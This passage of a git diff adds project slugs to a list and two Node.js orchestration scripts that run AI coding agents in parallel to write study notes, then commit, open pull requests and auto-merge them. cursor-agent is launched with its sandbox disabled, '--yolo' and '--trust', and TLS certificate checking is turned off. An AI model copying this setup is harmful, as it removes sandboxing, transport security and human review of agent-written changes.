+boa-engine
 bokeh
+bookstack
 botbuilder-js
 botpress
 bottom
+box2d
 boxen
 broot
 browser-use
@@ -1038,6 +1131,7 @@ bubbletea
 buildah
 buildkit
 buildroot
+bullet
 bullmq
 bun
 caddy
@@ -1045,6 +1139,7 @@ cairo-lang
 cal-com
 calico
 candle
+cannon-es
 canvas-datagrid
 capacitor
 capnproto
@@ -1072,10 +1167,14 @@ claude-code
 clearml
 clerk
 clickhouse
+cline
+cmsis-nn
 cockroach
 cockroachdb
 cocos2d-x
+code-server
 codemirror
+coder
 collabora-online
 colmap
 colossal-ai
@@ -1115,6 +1214,7 @@ dav1d
 dayjs
 dbt-core
 debezium
+deck-gl
 decord
 deepspeed
 defold
@@ -1136,9 +1236,11 @@ docusaurus
 doom-emacs
 doris
 dovecot
+draco
 dragonfly
 drawio
 drizzle
+drizzle-orm
 drone
 dropwizard
 druid
@@ -1152,12 +1254,14 @@ dvc
 earthly
 echarts
 echo
+eclipse-che
 edgedb
 effect
 ejabberd
 elasticsearch
 electron
 electron-builder
+electron-forge
 element-android
 element-web
 elysia
@@ -1172,8 +1276,12 @@ envoy
 erigon
 errbot
 esbuild
+esp-dl
+esphome
+espurna
 essentia
 etcd
+etherpad-lite
 ethers-js
 evidence
 excalidraw
@@ -1191,18 +1299,24 @@ fdk-aac
 feast
 ferretdb
 ffmpeg
+ffmpeg-kit
 fiber
 filament
 filecoin
 fish
 fish-shell
 flac
+flame
 flask
 flax
 flowchart-js
 fluent-bit
 flutter
+flutter-quill
+flutter-rust-bridge
+flutterfire
 flux
+foam
 fooocus
 foundry
 framer-motion
@@ -1210,19 +1324,27 @@ frappe-gantt
 freemodbus
 freertos
 freeswitch
+fvm
 fx
 fzf
+gazebo-classic
 gdu
 geany
 gh
+ghostwriter
 gin
 github-actions
+gitpod
 gitui
 glab
 glances
 glide-data-grid
+glsl-canvas
+glslify
+gltf-transform
 go-ethereum
 go-zero
+godot
 got
 gqlgen
 gradio
@@ -1231,6 +1353,7 @@ grafana-tempo
 grape
 graphology
 graphql-yoga
+grbl
 greenplum-db
 gron
 grpc-go
@@ -1246,6 +1369,7 @@ haraka
 hardhat
 haystack
 heaps
+hedgedoc
 helidon
 helix
 helm
@@ -1253,17 +1377,20 @@ hls.js
 hnswlib
 hocuspocus
 holoviews
+home-assistant
 homebrew
 hono
 hot-chocolate
 htop
 httpie
+hydra-synth
 i18next
 imagemagick
 immer
 immich
 influxdb
 ink
+inkscape
 inngest
 insightface
 internvideo
@@ -1282,10 +1409,13 @@ jest
 jimp
 jitsi-meet
 jitsi-videobridge
+joplin
 jotai
 jq
 js-joda
 jspdf
+jupyter-notebook
+jupyterlab
 just
 k3s
 k6
@@ -1299,11 +1429,13 @@ kepler-gl
 keras
 kind
 kitty
+klipper
 koa
 kong
 konva
 krakend
 kratos
+krita
 ktor
 kubebuilder
 kubectx
@@ -1341,11 +1473,13 @@ lightningcss
 lima
 lingui
 linkerd2
+linuxcnc
 listr2
 lite-xl
 litellm-proxy
 litestar
 litmus
+littlefs
 liveblocks
 livekit
 livekit-flutter
@@ -1359,12 +1493,15 @@ lmms
 lmms-eval
 locust
 lodestar
+logseq
 loki
 longhorn
+lora-mac-node
 lottie
 love2d
 lsd
 lucia
+luma-gl
 lunarvim
 luxon
 lwip
@@ -1376,11 +1513,15 @@ manticoresearch
 mapbox-gl-js
 maplibre-gl
 mariadb-server
+marimo
 markdown-it
 marked
+marktext
+marlin
 matplotlib
 matrix-js-sdk
 matrix-rust-sdk
+matter-js
 mattermost
 mbedtls
 mcp-ts-sdk
@@ -1391,6 +1532,7 @@ meilisearch
 melonjs
 memcached
 memgraph
+mender
 mermaid
 meshroom
 metabase
@@ -1419,18 +1561,25 @@ monaco-editor
 monero
 mongo
 mongodb
+mosquitto
 motion-one
 move-language
+moveit2
 msw
 mumble
 mysql
 mysql-server
 nanobrowser
+nanomq
 nanostores
+native-base
 nativescript
+nativewind
 nats
 nats-server
+navigation2
 ncdu
+ncnn
 nebula
 neo4j
 neovim
@@ -1471,7 +1620,9 @@ oh-my-posh
 ollama
 open-sora
 openai-agents-sdk
+opencode
 opencv
+openhab
 openlayers
 openmeetings
 openrct2
@@ -1479,9 +1630,11 @@ opensea-js
 opensearch
 opentelemetry
 opentelemetry-collector
+openthread
 opentofu
 opentsdb
 openvidu
+openvscode-server
 openwrt
 openzeppelin-contracts
 operator-sdk
@@ -1491,8 +1644,11 @@ opus
 ora
 orleans
 otel-collector
+outline
 ovenmediaengine
+overleaf
 oxc
+paddle-lite
 paddleocr
 panda3d
 pandas
@@ -1509,12 +1665,14 @@ pg-boss-readme
 pgvector
 phaser
 phoenix
+picogl
 pillow
 pino
 pinot
 pion
 piper
 pixi
+planck
 plane
 platformio-core
 playcanvas
@@ -1523,6 +1681,7 @@ plotly-js
 plotly-py
 plotnine
 plug
+pluto-jl
 pnpm
 pocketbase
 podman
@@ -1549,6 +1708,7 @@ pulsar
 pulumi
 pyarrow
 pyenv
+pyston
 pyth
 pytorch
 pytorch-lightning
@@ -1564,8 +1724,10 @@ rabby-wallet
 radix-ui
 rails
 ranger
+rapier
 rasa
 ratatui
+rauc
 ravendb
 ray
 raylib
@@ -1575,11 +1737,16 @@ react-flow
 react-hook-form
 react-intl
 react-native
+react-native-macos
+react-native-paper
+react-native-web
+react-native-windows
 react-spring
 recharts
 redash
 redis
 redpanda
+regl
 remix
 remix-ide
 reservoir-sdk
@@ -1592,7 +1759,9 @@ rocket-chat
 rocksdb
 rolldown
 rollup
+roo-code
 rook
+ros2
 rspack
 rt-thread
 runc
@@ -1606,12 +1775,15 @@ scoop
 scrcpy
 scroll
 sd
+sdk-nrf
 seaborn
 sealed-secrets
 sentry
 sequelize
 sglang
 shadcn-ui
+shader-park
+shadowsocks-libev
 shaka-packager
 shaka-player
 shap
@@ -1630,8 +1802,10 @@ signal-ios
 signal-server
 signoz
 silero-vad
+silverbullet
 simple-peer
 sinatra
+siyuan
 skaffold
 sled
 slim-framework
@@ -1646,6 +1820,7 @@ sops
 sortablejs
 sox
 spacemacs
+spectorjs
 spin
 spring-boot
 sqlite
@@ -1679,6 +1854,7 @@ symfony
 synapse
 tabulator
 tailwind
+tamagui
 tanstack-form
 tanstack-query
 tanstack-router
@@ -1694,9 +1870,12 @@ temporal-polyfill
 tensorflow
 terraform
 testing-library
+texstudio
 textmate
 textual
+tflite-micro
 the-silver-searcher
+theia
 thirdweb-sdk
 threejs
 thrift
@@ -1707,17 +1886,20 @@ tikv
 tilt
 timelinejs
 timescaledb
+tinygo
 tldraw
 tmux
 torchcodec
 torchtune
 traefik
 transformers-video
+trilium
 triton-inference-server
 trl
 trpc
 turbopack
 turborepo
+twgl
 twirp
 tyk
 typeorm
@@ -1726,6 +1908,7 @@ ultralytics
 unified
 uniswap-v3
 universal-ctags
+unqlite
 unsloth
 unstorage
 unstructured
@@ -1758,6 +1941,7 @@ vitest
 vllm
 vllm-multimodal
 vodozemac
+void
 voila
 volta
 vscode
@@ -1772,11 +1956,13 @@ wasmtime
 weaviate
 web-vitals
 web3-js
+webdriverio
 webpack
 webrtc-rs
 wezterm
 whisper
 why-did-you-render
+wireguard-go
 woodpecker
 wormhole
 wretch
@@ -1798,6 +1984,8 @@ zcash
 zed
 zellij
 zephyr
+zeppelin
+zettlr
 zincsearch
 zksync-era
 zod
diff --git a/scripts/auto-pipeline.mjs b/scripts/auto-pipeline.mjs
new file mode 100644
index 000000000..680c09425
--- /dev/null
+++ b/scripts/auto-pipeline.mjs
@@ -0,0 +1,405 @@
+#!/usr/bin/env node
+// auto-pipeline.mjs — 全自动研究→写笔记→审→commit→PR→merge 编排器
+//
+// 用法：node scripts/auto-pipeline.mjs
+// 环境变量：
+//   BATCHES_PER_ROUND=10  每轮跑多少批（默认10）
+//   AUTO_MERGE=true       是否自动 merge PR（默认 true）
+//   DRY_RUN=true          只写不提交（调试用）
+
+import { execSync, spawn } from 'node:child_process';
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const ROOT = path.resolve(__dirname, '..');
+const CANDIDATES = path.join(ROOT, 'data', 'candidates.jsonl');
+const PROJECTS = path.join(ROOT, 'src', 'content', 'docs', 'projects');
+const PAPERS = path.join(ROOT, 'src', 'content', 'docs', 'papers');
+
+const BATCHES_PER_ROUND = parseInt(process.env.BATCHES_PER_ROUND || '10', 10);
+const BATCH_SIZE = 40;
+const AUTO_MERGE = process.env.AUTO_MERGE !== 'false';
+const DRY_RUN = process.env.DRY_RUN === 'true';
+
+// ── helpers ──
+
+function log(msg) { console.log(`[${new Date().toISOString().slice(11, 19)}] ${msg}`); }
+
+function sh(cmd, opts = {}) {
+  try {
+    return execSync(cmd, { cwd: ROOT, encoding: 'utf8', ...opts }).trim();
+  } catch (e) {
+    if (!opts.ignoreError) throw e;
+    return '';
+  }
+}
+
+function readJsonl(p) {
+  const raw = fs.readFileSync(p, 'utf8');
+  return raw.split('\n').filter(Boolean).map(l => {
+    try { return JSON.parse(l); } catch { return null; }
+  }).filter(Boolean);
+}
+
+function noteCount() {
+  const p = fs.readdirSync(PROJECTS).filter(f => f.endsWith('.md')).length;
+  const pa = fs.readdirSync(PAPERS).filter(f => f.endsWith('.md')).length;
+  return { projects: p, papers: pa, total: p + pa };
+}
+
+function poolStats() {
+  const lines = readJsonl(CANDIDATES);
+  const q = lines.filter(l => l.status === 'queued');
+  return { queued: q.length, projects: q.filter(l => l.area === 'projects').length, papers: q.filter(l => l.area === 'papers').length };
+}
+
+// ── quality gate ──
+
+function runQualityGate() {
+  log('Running quality gate (recent files only)...');
+  const counts = noteCount();
+  const now = Date.now();
+  const MAX_AGE = 30 * 60 * 1000; // 30 minutes
+
+  const issues = [];
+  let checked = 0;
+  for (const dir of [PROJECTS, PAPERS]) {
+    for (const f of fs.readdirSync(dir).filter(f => f.endsWith('.md'))) {
+      const fp = path.join(dir, f);
+      const stat = fs.statSync(fp);
+      if (now - stat.mtimeMs > MAX_AGE) continue; // skip old files
+      checked++;
+      const content = fs.readFileSync(fp, 'utf8');
+      const lines = content.split('\n').length;
+      if (lines < 100) issues.push(`${f}: ${lines} lines (min 100)`);
+      if (!/^分类:\s*.+$/m.test(content)) issues.push(`${f}: missing 分类`);
+      if (!/^来源/m.test(content)) issues.push(`${f}: missing 来源`);
+    }
+  }
+
+  const shortNotes = issues.filter(i => i.includes('lines'));
+  const structuralIssues = issues.filter(i => !i.includes('lines'));
+
+  log(`  Total: ${counts.total} | Recent checked: ${checked} | Short: ${shortNotes.length} | Structural: ${structuralIssues.length}`);
+
+  return {
+    pass: shortNotes.length === 0 && structuralIssues.length < 10,
+    counts,
+    issues: issues.slice(0, 10),
+  };
+}
+
+// ── pool expansion (opencode agnes, background) ──
+
+function spawnExpander(label, prompt) {
+  const child = spawn('opencode', ['run', '-m', 'agnes/agnes-2.0-flash', '--print-logs', prompt], {
+    cwd: ROOT,
+    stdio: ['ignore', 'pipe', 'pipe'],
+    timeout: 600000,
+  });
+  child.stdout.on('data', () => {});
+  child.stderr.on('data', () => {});
+  child.on('close', code => {
+    log(`Expander ${label}: exit ${code}`);
+  });
+  return child;
+}
+
+function expandProjects() {
+  log('Expanding projects pool (opencode)...');
+  return spawnExpander('projects',
+    `扩充候选池。Read data/candidates.jsonl，Edit追加50+热门开源项目（AI infra/云原生/安全/数据库/DevOps方向，star>1000）。JSONL格式追加。不用/tmp。直接执行。`
+  );
+}
+
+function expandPapers() {
+  log('Expanding papers pool (opencode)...');
+  return spawnExpander('papers',
+    `扩充论文候选池。Read data/candidates.jsonl，Edit追加50+篇热门论文（ML/系统/分布式/安全方向2024-2026）。JSONL格式追加。不用/tmp。直接执行。`
+  );
+}
+
+// ── batch writing (opencode agnes) ──
+
+function dispatchWriter(slug, area, title, url) {
+  return new Promise((resolve) => {
+    const dir = area === 'papers' ? 'papers' : 'projects';
+    const outPath = `src/content/docs/${dir}/${slug}.md`;
+    const prompt = `写一篇关于 ${title || slug} 的零基础学习笔记，用 Write 工具保存到 ${outPath}。
+frontmatter 必须含 title、来源:${url||''}、日期:2026-06-13、分类、子分类、provenance:pipeline-v3。
+正文从日常类比开始，必须含核心概念+至少2个代码示例，目标150+行。
+用 web_search 研究后直接用 Write 写完整笔记。不要用 /tmp。`;
+
+    const child = spawn('opencode', [
+      'run', '-m', 'agnes/agnes-2.0-flash',
+      '--print-logs', prompt
+    ], {
+      cwd: ROOT,
+      stdio: ['ignore', 'pipe', 'pipe'],
+      timeout: 300000,
+    });
+
+    let stdout = '';
+    child.stdout.on('data', (d) => { stdout += d.toString(); });
+    child.stderr.on('data', () => {});
+
+    child.on('close', (code) => {
+      resolve({ slug, area, exitCode: code });
+    });
+    child.on('error', (err) => {
+      resolve({ slug, area, exitCode: -1, error: err.message });
+    });
+  });
+}
+
+function claimSlug(slug) {
+  const p = `/tmp/cursor-claim-${slug}`;
+  if (fs.existsSync(p)) return false;
+  try { fs.writeFileSync(p, String(process.pid), { flag: 'wx' }); return true; } catch { return false; }
+}
+function releaseClaim(slug) { try { fs.unlinkSync(`/tmp/cursor-claim-${slug}`); } catch {} }
+
+function pickBatch() {
+  try {
+    const result = sh(`node scripts/pick-batch.mjs --count ${BATCH_SIZE} --rewrite 0 --new ${BATCH_SIZE}`, { maxBuffer: 10 * 1024 * 1024 });
+    return JSON.parse(result).items || [];
+  } catch (e) {
+    log(`  pick-batch error: ${e.message?.slice(0, 80)}`);
+    return [];
+  }
+}
+
+function fileExists(slug, area) {
+  const dir = area === 'papers' ? PAPERS : PROJECTS;
+  return fs.existsSync(path.join(dir, `${slug}.md`));
+}
+
+async function runBatch(batchNum) {
+  const items = pickBatch();
+  const toWrite = [];
+  for (const item of items) {
+    if (fileExists(item.slug, item.area)) continue;
+    if (!claimSlug(item.slug)) continue;
+    toWrite.push(item);
+  }
+
+  if (toWrite.length === 0) {
+    log(`  Batch ${batchNum}: no candidates available`);
+    return 0;
+  }
+
+  log(`  Batch ${batchNum}: dispatching ${toWrite.length} opencode writers...`);
+  const results = await Promise.all(toWrite.map(i =>
+    dispatchWriter(i.slug, i.area, i.title || i.slug, i.url || '')
+  ));
+
+  let ok = 0;
+  for (const r of results) {
+    releaseClaim(r.slug);
+    const fp = path.join(r.area === 'papers' ? PAPERS : PROJECTS, `${r.slug}.md`);
+    if (fs.existsSync(fp)) {
+      // Update candidate status
+      try {
+        const candidates = readJsonl(CANDIDATES);
+        for (const c of candidates) {
+          if (c.slug === r.slug && c.area === r.area && c.status === 'queued') {
+            c.status = 'written';
+            c.written_at = new Date().toISOString();
+          }
+        }
+        fs.writeFileSync(CANDIDATES, candidates.map(c => JSON.stringify(c)).join('\n') + '\n');
+      } catch {}
+      ok++;
+    }
+  }
+
+  // Run classify
+  try { sh('node scripts/classify-notes.mjs --apply --area=projects', { ignoreError: true }); } catch {}
+  try { sh('node scripts/classify-notes.mjs --apply --area=papers', { ignoreError: true }); } catch {}
+
+  return ok;
+}
+
+// ── commit & PR ──
+
+function commitRound(roundNum) {
+  if (DRY_RUN) { log(`  [DRY RUN] Would commit round ${roundNum}`); return; }
+
+  log(`  Committing round ${roundNum}...`);
+
+  // Add all new/modified content files
+  const newFiles = sh('git status --short', { ignoreError: true })
+    .split('\n').filter(l => l.startsWith('??') || l.startsWith(' M') || l.startsWith('MM'))
+    .map(l => l.slice(3).trim())
+    .filter(f => f.startsWith('src/content/docs/') || f.startsWith('data/') || f.startsWith('scripts/cursor'));
+
+  if (newFiles.length === 0) { log('  Nothing to commit'); return false; }
+
+  for (const f of newFiles) {
+    try { sh(`git add "${f}"`, { ignoreError: true }); } catch {}
+  }
+
+  const counts = noteCount();
+  const msg = `auto: 第 ${roundNum} 轮批量笔记 — cursor-agent + opencode 自动流水线（${counts.total} 篇）`;
+  try {
+    sh(`git commit -m "${msg}"`, { ignoreError: true });
+    log(`  Committed: ${newFiles.length} files`);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function pushAndPR(roundNum) {
+  if (DRY_RUN) { log(`  [DRY RUN] Would push + PR for round ${roundNum}`); return; }
+
+  const branch = sh('git branch --show-current');
+  log(`  Pushing ${branch}...`);
+
+  try {
+    sh(`git push origin ${branch}`, { ignoreError: true });
+  } catch {
+    log('  Push failed, skipping PR');
+    return;
+  }
+
+  // Check if PR already exists
+  const existingPR = sh(`gh pr list --head ${branch} --json number --jq '.[0].number'`, { ignoreError: true });
+  if (existingPR) {
+    log(`  PR #${existingPR} already exists`);
+    return existingPR;
+  }
+
+  // Create PR
+  const counts = noteCount();
+  const body = `自动流水线第 ${roundNum} 轮\n\n- cursor-agent (composer-2.5) 批量生成\n- opencode (agnes-2.0) 候选池扩展\n- 当前总量：${counts.total} 篇（projects ${counts.projects} + papers ${counts.papers}）\n\n🤖 Generated with [Claude Code](https://claude.com/claude-code)`;
+  try {
+    const prUrl = sh(`gh pr create --title "auto: 第 ${roundNum} 轮批量笔记（${counts.total} 篇）" --body "${body}" --base main`);
+    log(`  PR created: ${prUrl}`);
+    const prNum = prUrl.split('/').pop();
+    return prNum;
+  } catch (e) {
+    log(`  PR creation failed: ${e.message}`);
+    return null;
+  }
+}
+
+function autoMergePR(prNum) {
+  if (!AUTO_MERGE || !prNum) return;
+  if (DRY_RUN) { log(`  [DRY RUN] Would merge PR #${prNum}`); return; }
+
+  log(`  Auto-merging PR #${prNum}...`);
+
+  // Wait for CI to start (GitHub Pages deploy check)
+  const shas = sh(`gh pr view ${prNum} --json commits --jq '.commits[].oid'`, { ignoreError: true });
+  log(`  PR commits: ${shas?.slice(0, 40)}`);
+
+  try {
+    // Enable auto-merge if available, otherwise direct merge
+    sh(`gh pr merge ${prNum} --squash --delete-branch --auto`, { ignoreError: true });
+    log(`  Auto-merge enabled for PR #${prNum}`);
+  } catch {
+    // Fallback: merge directly if checks pass
+    try {
+      sh(`gh pr merge ${prNum} --squash --delete-branch`, { ignoreError: true });
+      log(`  Merged PR #${prNum}`);
+    } catch {
+      log(`  Merge failed for PR #${prNum} — check CI status`);
+    }
+  }
+}
+
+// ── main orchestrator ──
+
+async function main() {
+  log('=== Auto Pipeline Started ===');
+  const initial = noteCount();
+  log(`Initial: ${initial.total} notes (${initial.projects} projects + ${initial.papers} papers)`);
+  log(`Config: ${BATCHES_PER_ROUND} batches/round, batch_size=${BATCH_SIZE}, auto_merge=${AUTO_MERGE}, dry_run=${DRY_RUN}`);
+  log('');
+
+  let totalWritten = 0;
+  let roundNum = 1;
+  let prNum = null;
+
+  // Start pool expanders (persistent background)
+  let projectsExpander = null;
+  let papersExpander = null;
+
+  // eslint-disable-next-line no-constant-condition
+  while (true) {
+    log(`=== Round ${roundNum} ===`);
+
+    // 1. Repair JSONL (skip corrupted lines)
+    try {
+      const raw = fs.readFileSync(CANDIDATES, 'utf8');
+      const lines = raw.split('\n').filter(Boolean);
+      const clean = lines.filter(l => { try { JSON.parse(l); return true; } catch { return false; } });
+      if (clean.length < lines.length) {
+        fs.writeFileSync(CANDIDATES, clean.join('\n') + '\n');
+        log(`  Repaired candidates.jsonl: removed ${lines.length - clean.length} corrupted lines`);
+      }
+    } catch {}
+
+    // 2. Expand pool — launch 8 expanders per round (4 projects + 4 papers, 50+ each)
+    log('  Launching 8 pool expanders (opencode agnes, 50+ each)...');
+    for (let i = 0; i < 4; i++) expandProjects();
+    for (let i = 0; i < 4; i++) expandPapers();
+
+    // 2. Write batches
+    let roundWritten = 0;
+    for (let b = 1; b <= BATCHES_PER_ROUND; b++) {
+      const written = await runBatch(b);
+      roundWritten += written;
+    }
+    totalWritten += roundWritten;
+    log(`  Round ${roundNum}: wrote ${roundWritten} notes`);
+
+    // 3. Quality gate
+    const quality = runQualityGate();
+    if (!quality.pass) {
+      log(`  Quality gate FAILED — skipping commit`);
+      log(`  Issues: ${quality.issues.map(i => '    ' + i).join('\n')}`);
+      roundNum++;
+      continue;
+    }
+
+    // 4. Commit
+    const committed = commitRound(roundNum);
+    if (!committed) { roundNum++; continue; }
+
+    // 5. Push + PR (create on first round, update on subsequent)
+    if (roundNum === 1 || !prNum) {
+      prNum = pushAndPR(roundNum);
+    } else {
+      try { sh(`git push origin ${sh('git branch --show-current')}`, { ignoreError: true }); } catch {}
+      log(`  Pushed to existing PR #${prNum}`);
+    }
+
+    // 6. Auto-merge every 3 rounds
+    if (roundNum % 3 === 0 && prNum) {
+      autoMergePR(prNum);
+      prNum = null;
+    }
+
+    // Status update
+    const counts = noteCount();
+    const pool = poolStats();
+    log(`Status: ${counts.total} notes | pool: ${pool.queued} | round: ${roundNum} | written: ${totalWritten}`);
+
+    roundNum++;
+
+    // Exit condition
+    if (pool.queued < BATCH_SIZE) {
+      log('Pool exhausted, waiting for expanders...');
+      await new Promise(r => setTimeout(r, 60000));
+    }
+  }
+}
+
+main().catch(err => {
+  console.error('Pipeline crashed:', err);
+  process.exit(1);
+});
diff --git a/scripts/classify-notes.mjs b/scripts/classify-notes.mjs
index 47fcad5ce..2832063e5 100644
--- a/scripts/classify-notes.mjs
+++ b/scripts/classify-notes.mjs
@@ -13,9 +13,13 @@ import {
   loadCandidates,
   parseFrontmatter,
   classifySlug,
+  scoreItem,
   normalizeRawCategory,
 } from './taxonomy-lib.mjs';
 
+// Re-export for pipeline / test consumers: scoreItem({ slug, area, fm?, candidate? })
+export { scoreItem, classifySlug, loadTaxonomy, parseFrontmatter };
+
 const AREAS = ['papers', 'projects'];
 
 function upsertFmLine(block, key, value) {
diff --git a/scripts/cursor-batch.mjs b/scripts/cursor-batch.mjs
new file mode 100644
index 000000000..8e41e411e
--- /dev/null
+++ b/scripts/cursor-batch.mjs
@@ -0,0 +1,230 @@
+#!/usr/bin/env node
+// cursor-batch.mjs — 用 cursor-agent 批量写笔记的安全循环
+// 用法：node scripts/cursor-batch.mjs [批次数] [每批篇数]
+// 默认跑 10 批，每批 4 篇 = 40 篇
+
+import { execSync, spawn } from 'node:child_process';
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const ROOT = path.resolve(__dirname, '..');
+const CANDIDATES_PATH = path.join(ROOT, 'data', 'candidates.jsonl');
+const PROJECTS_DIR = path.join(ROOT, 'src', 'content', 'docs', 'projects');
+const PAPERS_DIR = path.join(ROOT, 'src', 'content', 'docs', 'papers');
+const CURSOR_BIN = '/Users/jason/.local/bin/cursor-agent';
+const MODEL = 'composer-2.5';
+
+const BATCHES = parseInt(process.argv[2] || '10', 10);
+const COUNT = parseInt(process.argv[3] || '4', 10);
+
+function readJsonl(p) {
+  const raw = fs.readFileSync(p, 'utf8');
+  return raw.split('\n').filter(Boolean).map(l => {
+    try { return JSON.parse(l); } catch { return null; }
+  }).filter(Boolean);
+}
+
+function writeJsonl(p, rows) {
+  const body = rows.map(r => JSON.stringify(r)).join('\n') + (rows.length ? '\n' : '');
+  fs.writeFileSync(p, body, 'utf8');
+}
+
+function fileExists(slug, area) {
+  const dir = area === 'papers' ? PAPERS_DIR : PROJECTS_DIR;
+  return fs.existsSync(path.join(dir, `${slug}.md`));
+}
+
+function claimSlug(slug) {
+  // Atomic claim via tmpfile — prevents duplicate dispatch across parallel instances
+  const claimPath = `/tmp/cursor-claim-${slug}`;
+  if (fs.existsSync(claimPath)) return false;
+  try {
+    fs.writeFileSync(claimPath, String(process.pid), { flag: 'wx' });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function releaseClaim(slug) {
+  try { fs.unlinkSync(`/tmp/cursor-claim-${slug}`); } catch {}
+}
+
+function pickBatch() {
+  try {
+    const result = execSync(`node scripts/pick-batch.mjs --count ${COUNT} --rewrite 0 --new ${COUNT}`, { cwd: ROOT, encoding: 'utf8' });
+    const json = JSON.parse(result);
+    return json.items || [];
+  } catch (e) {
+    console.error('pick-batch failed:', e.message);
+    return [];
+  }
+}
+
+function dispatchCursorAgent(slug, area, title, url) {
+  return new Promise((resolve) => {
+    const dir = area === 'papers' ? 'papers' : 'projects';
+    const prompt = `写一篇关于 ${title || slug} 的零基础学习笔记，保存到 src/content/docs/${dir}/${slug}.md。
+格式：frontmatter 必须含 title、来源:${url||''}、日期:2026-06-13、分类、子分类、provenance:pipeline-v3（写完后运行 node scripts/classify-notes.mjs --apply --area=${area} 自动填入分类/子分类）。
+正文从日常类比开始，必须含核心概念+至少2个代码示例，目标150+行。
+用 web_search 研究后直接写完整笔记，不要只描述计划。`;
+
+    const child = spawn(CURSOR_BIN, [
+      '--print', '--model', MODEL,
+      '--workspace', ROOT,
+      '--trust', '--sandbox', 'disabled', '--yolo',
+      prompt
+    ], {
+      env: { ...process.env, NODE_TLS_REJECT_UNAUTHORIZED: '0' },
+      stdio: ['ignore', 'pipe', 'pipe'],
+      timeout: 300000, // 5 min timeout
+    });
+
+    let stdout = '';
+    child.stdout.on('data', (d) => { stdout += d.toString(); });
+    child.stderr.on('data', () => {}); // ignore stderr
+
+    child.on('close', (code) => {
+      resolve({ slug, area, exitCode: code, output: stdout.slice(-200) });
+    });
+
+    child.on('error', (err) => {
+      resolve({ slug, area, exitCode: -1, error: err.message });
+    });
+  });
+}
+
+function updateCandidateStatus(slug, area, status) {
+  const candidates = readJsonl(CANDIDATES_PATH);
+  let updated = false;
+  for (const c of candidates) {
+    if (c.slug === slug && c.area === area && c.status === 'queued') {
+      c.status = status;
+      c.written_at = new Date().toISOString();
+      updated = true;
+    }
+  }
+  if (updated) {
+    writeJsonl(CANDIDATES_PATH, candidates);
+  }
+  return updated;
+}
+
+function verifyQuality(slug, area) {
+  const dir = area === 'papers' ? PAPERS_DIR : PROJECTS_DIR;
+  const fpath = path.join(dir, `${slug}.md`);
+  if (!fs.existsSync(fpath)) return { ok: false, reason: 'file not created' };
+
+  const content = fs.readFileSync(fpath, 'utf8');
+  const lines = content.split('\n').length;
+
+  if (lines < 100) return { ok: false, reason: `too short: ${lines} lines` };
+  if (!content.includes('---')) return { ok: false, reason: 'no frontmatter' };
+  if (!content.includes('来源')) return { ok: false, reason: 'no source field' };
+  if (!/^分类:\s*.+$/m.test(content)) return { ok: false, reason: 'missing 分类' };
+
+  return { ok: true, lines };
+}
+
+function applyClassification(area) {
+  try {
+    execSync(`node scripts/classify-notes.mjs --apply --area=${area}`, { cwd: ROOT, stdio: 'pipe' });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+async function runBatch(batchNum, totalBatches) {
+  console.log(`\n=== Batch ${batchNum}/${totalBatches} ===`);
+
+  const items = pickBatch();
+  if (items.length === 0) {
+    console.log('  No candidates available.');
+    return { new: 0, skipped: 0, failed: 0, done: true };
+  }
+
+  // Filter: skip already-existing files AND already-claimed slugs
+  const toWrite = [];
+  const skipped = [];
+  for (const item of items) {
+    if (fileExists(item.slug, item.area)) {
+      const dir = item.area === 'papers' ? PAPERS_DIR : PROJECTS_DIR;
+      const content = fs.readFileSync(path.join(dir, `${item.slug}.md`), 'utf8');
+      if (!/^分类:\s*.+$/m.test(content)) {
+        applyClassification(item.area);
+      }
+      skipped.push(item.slug);
+      updateCandidateStatus(item.slug, item.area, 'written');
+    } else if (!claimSlug(item.slug)) {
+      skipped.push(item.slug + '(claimed)');
+    } else {
+      toWrite.push(item);
+    }
+  }
+  if (skipped.length > 0) console.log(`  Skipped (already exist): ${skipped.join(', ')}`);
+  if (toWrite.length === 0) {
+    console.log('  All candidates already exist.');
+    return { new: 0, skipped: skipped.length, failed: 0, done: false };
+  }
+
+  console.log(`  Dispatching ${toWrite.length} cursor-agents...`);
+
+  // Parallel dispatch
+  const promises = toWrite.map(item =>
+    dispatchCursorAgent(item.slug, item.area, item.title || item.slug, item.url || '')
+  );
+  const results = await Promise.all(promises);
+
+  let newCount = 0;
+  let failCount = 0;
+  for (const r of results) {
+    applyClassification(r.area);
+    const q = verifyQuality(r.slug, r.area);
+    if (q.ok) {
+      updateCandidateStatus(r.slug, r.area, 'written');
+      console.log(`  OK: ${r.slug} (${q.lines} lines)`);
+      newCount++;
+    } else {
+      console.log(`  FAIL: ${r.slug} — ${q.reason}`);
+      failCount++;
+    }
+    releaseClaim(r.slug);
+  }
+
+  return { new: newCount, skipped: skipped.length, failed: failCount, done: false };
+}
+
+async function main() {
+  console.log(`Cursor Batch Loop: ${BATCHES} batches x ${COUNT}/batch`);
+  let totalNew = 0, totalSkipped = 0, totalFailed = 0;
+
+  for (let b = 1; b <= BATCHES; b++) {
+    const result = await runBatch(b, BATCHES);
+    totalNew += result.new;
+    totalSkipped += result.skipped;
+    totalFailed += result.failed;
+
+    if (result.done) {
+      console.log('\nCandidate pool exhausted.');
+      break;
+    }
+
+    // Small delay between batches
+    if (b < BATCHES) await new Promise(r => setTimeout(r, 2000));
+  }
+
+  // Final stats
+  const allProjects = fs.readdirSync(PROJECTS_DIR).filter(f => f.endsWith('.md')).length;
+  const allPapers = fs.readdirSync(PAPERS_DIR).filter(f => f.endsWith('.md')).length;
+  console.log(`\n=== Complete ===`);
+  console.log(`New: ${totalNew} | Skipped: ${totalSkipped} | Failed: ${totalFailed}`);
+  console.log(`Total notes: ${allProjects + allPapers} (projects: ${allProjects}, papers: ${allPapers})`);
+}
+
+main().catch(err => {
+  console.error('Batch loop crashed:', err);
+  process.exit(1);
+});
diff --git a/scripts/pick-batch.mjs b/scripts/pick-batch.mjs
index ecfa0d668..d59557b7f 100644
--- a/scripts/pick-batch.mjs
+++ b/scripts/pick-batch.mjs
@@ -45,7 +45,7 @@ function parseArgs() {
 async function readJsonl(p) {
   try {
     const raw = await fs.readFile(p, 'utf8');
-    return raw.split('\n').filter(Boolean).map(l => JSON.parse(l));
